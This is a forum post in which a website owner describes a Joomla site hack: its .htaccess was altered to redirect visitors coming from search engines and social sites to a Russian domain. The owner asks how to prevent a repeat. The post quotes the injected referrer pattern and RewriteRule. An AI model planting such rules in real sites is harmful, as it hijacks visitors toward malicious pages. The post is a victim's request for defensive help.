Does anyone knows how to protect against unauthorized change of .htaccess?
I googled the "htttp://reltime2012.ru/frunleh?9 redirect problem" and
found out that a lot of sites (mainly using wordpress) got hacked and
is redirected to a russian site.
One of my sites, that has joomla (and not wordpress) also got hacked (again).
In the beginning of the .htaccess one can read:
^.*(google|ask|yahoo|youtube|wikipedia|excite|alta vista|msn|aol|goto|infoseek|lycos|search|bing|dogp ile|facebook|twitter|live|myspace|linkedin|flickr) .(.*)
RewriteRule ^(.*)$ htttp://reltime2012.ru/frunleh?9 [R=301,L]
I find some tutorials on how to fix the problem,
But none of them explains how to protect and prevent the problem to
happen again. This google's forum has a post stating that
" the sysadmin told me that there was a php script entitled
"jos_jpxn.php" running that was rewriting my .htaccess" (lickface)
But I found no such script among my files.
(Of course, I changed my password, but I don't really think that is
I know it is easy to fix. I just wonder if I can prevent that to
happen again. I'm considering to simple put a "cron job" that rewrites
my .htaccess from time to time!
Anyone else saw this problem?
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